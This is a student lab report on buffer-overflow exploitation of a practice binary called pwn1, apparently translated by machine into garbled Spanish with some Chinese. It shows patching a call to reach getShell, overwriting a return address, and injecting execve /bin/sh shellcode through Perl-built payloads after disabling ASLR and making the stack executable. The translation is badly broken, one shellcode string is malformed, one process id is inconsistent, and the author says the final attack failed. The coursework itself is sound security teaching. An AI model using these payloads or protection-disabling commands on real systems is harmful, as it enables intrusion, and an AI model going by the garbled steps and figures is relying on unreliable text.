# 2019-2020-2 red frente a la tecnología de plataforma Cao Yakun Exp1 PC 20175333 grieta inversa

2019-2020-2 red frente a la tecnología de plataforma Cao Yakun Exp1 PC 20175333 grieta inversa

preparación Experimental

  1. Configurar las carpetas compartidas, está listo

  2. Las pwn1carpetas propagan al compartir archivos en kali

  3. Será pwn1copiar los archivos a su directorio, y respaldado

  4. Entrada de apt-get install lib32z1los comandos de programa de 32 bits de 64 bits puede ejecutar kali

    practicar lo

    Tarea uno: modificar manualmente el archivo ejecutable, cambiando el flujo de la ejecución del programa, saltar directamente a la función getShell.
    Tarea 2: Uso de la función foo vulnerabilidad Bof, una cadena de entrada atacante construcción, sobrescribir la dirección de retorno, el gatillo función getShell.
    Tarea tres: inyectar un código shell para producir su propia y ejecutar este código shell

    A instrucciones de máquina tarea modifican directamente el programa, cambiar el flujo de la ejecución del programa

  • Mediante la modificación de la dirección cuando el salto de instrucciones principal llamada a la función, sería saltar a la función foo, una función de salto para getshell para ejecutar la función getshell

1. El orden de entrada objdump -d pwn1 | moredesmontaje pwn1archivo.

Por el desmontaje, se puede observar a partir de la función principal call 804891<foo>, que es el código de la máquina e8 d7 ff ff ffen la que las direcciones para la función foo 08048491, la función de dirección de getshell es 0804847dpara calcular la relación correspondiente

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3  //计算要修改的目标地址

Modificar las instrucciones de máquina PWN puede llamar a editar archivo pwn2 getShell (copias pwn1) directamente al modo hexadecimal / e8d7

2. Introduzca el comando vi pwn1para abrir un archivo, el archivo aparece en formato ASCII

3. Introduzca :%!xxdllamando a la línea de comandos, convierte el archivo a la vista hexadecimal

4. Utilice el /e8d7comando para encontrar e8d7ffffffla ubicación en las instrucciones de la máquina, no encontraron tiempo cambió /d7, para encontrar la ubicación, e8 d7los espacios intermedios

5. hallazgo, el modo de inserción, para modificar c3 d7

6. Introduzca :%!xxd -rConvertir archivos a los códigos ASCII, escriba: wq para guardar y salir

7. A continuación, introduzca el comando de objdump -d pwn1 | morevista, se puede encontrar pwn2el archivo ha sido modificado

8. Ejecutar el pwn1archivo y el pwn2archivo ( pwn1el archivo es el archivo original, pwn2el archivo es modificado), los resultados operativos se pueden encontrar en los dos documentos son diferentes.

9. Copia de seguridadpwn1

Tarea dos mediante la construcción de los parámetros de entrada, resultando en BOF ataque, cambiando el flujo del programa

pwn1El funcionamiento normal es llamar a una función foo, pero esta función tiene vulnerabilidades de desbordamiento de búfer. Al leer una cadena, el sistema sólo byte de juego de tampones lado una cierta cantidad, el exceso causará desbordamiento, nuestro objetivo es sobreescribir la dirección de retorno para que el siguiente salto a la función deseada
1. Uso gdb pwn3, entró en la puesta en marcha interfaz, de entrada rmás tarde puede introducir el código, iniciar la confirmación para sobreescribir la dirección de retorno del programa después de cómo entran muchas cuerdas. Para tratar de introducir una cadena larga,1111111122222222333333334444444455555555

2. Uso de nuevo info rver registran los datos actuales, que se encuentra (registro de direcciones de memoria para almacenar la siguiente instrucción) el registro EIP está 0x35353535cubierto, esto indica que la dirección de retorno de la corriente es de cuatro '5', y es EBP 0x34343434campo sobrescribe , por lo que el tamaño del búfer es la descripción 28 bytes (la entrada de datos de un total de 40 bytes, 4 bytes de '4' a EBP cubierta, mientras que el 4-byte '5' EIP cubierto. presumiblemente almacenado dentro de la memoria intermedia 28 bytes).
Depuración de nuevo, esta vez la cadena de entrada 1111111122222222333333334444444412345678, encontró que "1234" va a sobrescribir registro EIP, y la manera de derecha a izquierda.
Cuando el registro es de acuerdo con la pantalla que se muestra en hexadecimal de alto a bajo, es necesario leer de derecha a izquierda por una unidad de dos números. La siguiente operación hará que esta zona se convierta en lo que necesitamos para lograr el salto para ejecutar el código getShell lugar, por lo que necesitamos para entrar 11111111222222223333333344444444\x7d\x84\x04\x08\x0a(\ x0a representa un retorno de carro)

3. La cadena de la construcción

4. La entrada se introduce entonces a través del conducto carácter "|", como entrada pwn3.

La tercera tarea inyectar y ejecutar Shellcode

1. Prepárese para una Shellcode
el código shell es una pieza de instrucciones de la máquina (código)
de propósito general de esta instrucción de máquina es conseguir una shell interactiva (como una concha o una ventana similares Linux es cmd.exe), por lo que este se llama instrucciones de la máquina para el código shell. En las aplicaciones prácticas, por lo general para la inyección de la máquina de las instrucciones que se conoce como el código shell, como la adición de un usuario, una instrucción a ejecutar.
Los experimentos con Shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\,

2. Preparación

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

Cuando se utiliza un comando no válido apt-get install prelinkpara instalar
la suficiente autoridad al usar sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"sudo no admite la redirección

carga útil 3. estructura para ser utilizado

  • Existen dos métodos básicos de buf ataque configurado para Linux: retaddr ya que la posición de la memoria intermedia es fijo, el código shell, ya sea en frente de ella, o detrás de él.
    + + NOP el código shell RetAddr
    NOP + + RetAddr el código shell
  • En pocas palabras código shell puesto detrás de un buffer pequeño, un gran código shell búfer tuvo lugar frente.
    No voy a decir, como debería hacer el mal varias veces, las instrucciones experimentales, bien hecho

4. Busque nop + + código shell retaddr esta manera después de leer algunos de los problemas en las instrucciones experimentales de la maestra. Así seleccionado código de ataque nada retaddr + + + código shell NOP construido de esta manera.
En primer lugar, mediante un comando de edición cadena hexadecimal Perl una configuración, un archivo se escribe en input_shellcode utilizado como una ejecución de archivo de entrada. En esta cadena, al final de la \ x4 \ x3 \ x2 \ x1 para sobreescribir la dirección de retorno en la pila.
No prestar atención al último carácter se establece en \ x0a, si no afectará a las operaciones subsiguientes.
perl -e 'print "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ XE3 \ x50 \ x53 \ x89 \ xe1 \ x31 \ xd2 \ xb0 \ x0b \ XCD \ x80 \ x90 \ x4 \ x3 \ x2 \ x1 \ x00 " '> input_shellcode
luego implantado en el terminal de este ataque sección buf (input_shellcode gato, gato) | ./pwn1

Después de la entrada, para mover un retorno de carro después de golpear, inmediatamente abrir un nuevo terminal.
Ver el nuevo proceso de programa de terminal, introduzca el código ps -ef | grep pwn1 obtener el número de proceso 4617.
De entrada en la interfaz de depurador GDB y, a continuación, introduzca adjuntar 48617
A continuación, el comando de entrada desmontar foo, a la función foo desmontaje.
A continuación, establecer puntos de interrupción, vista inyectar dirección de memoria buf, la ruptura de instrucciones * 0x080484ae
después de ir hacia atrás hasta el principio de la terminal del manual de entrar en él, y luego de vuelta a la depuración del terminal, introduzca el comando C continua.
A continuación, la entrada de información de comandos esp r, ver la ubicación de puntero de pila y ver los datos almacenados en el cambio de dirección.
\ X4 \ x3 \ x2 \ x1 aparecer en la parte superior de la pila, que es la dirección de retorno de la ubicación.

shellcode A continuación, el cálculo de la dirección: 0xffffd36c + 4 = 0xffffd370.
Reconstruir la perl -e 'print "A" x 32;print "\xe0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
entrada al programa(cat input_shellcode;cat) | ./pwn1

no tiene éxito, hay algunas dudas.

Experimentos sentimientos y cosecha

本次实验主要内容是缓冲区溢出攻击,这种攻击方法是计算机安全领域内既经典而又古老的话题,那么所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被设定好的恶意代码,也是利用了冯·诺依曼存储程序原理展开的。
这次实验我做了很多遍,第一次做的时候,很多知识都没法理解,只是跟着实验指导盲目地输入代码,对很多假设和数据尝试都没有亲自去计算去思考,任务三更是让人费解,重做了很多次都是段错误,一步一步地照着实验指导书做完还是不成功,我觉得有时候放弃也是一种选择

Consideraciones sobre la

¿Cuál es la vulnerabilidad? La vulnerabilidad ¿Cuál es el problema?
La vulnerabilidad está presente en el sistema o implementar políticas de seguridad fallas en el hardware, el software, los acuerdos específicos, lo que puede permitir a un atacante acceder al sistema en caso de destrucción o no autorizado. En seguridad informática, una vulnerabilidad puede entenderse como una debilidad, que puede ser una amenaza, como un atacante aprovechar la vulnerabilidad para realizar acciones no autorizadas en un sistema informático.

Vulnerabilidad a las amenazas: tampón de escritura desde un ordenador externo, puede permitir a un atacante para sobrescribir el contenido de los bloques de memoria adyacentes, dando lugar a la corrupción de datos, los accidentes, o incluso ejecutar cualquier código malicioso. Pequeño ordenador personal, grandes sistemas informáticos para la seguridad nacional, las vulnerabilidades daño puede ser devastador.

Supongo que te gusta

Origin www.cnblogs.com/Hf-Hf/p/12529143.html
Recomendado
Clasificación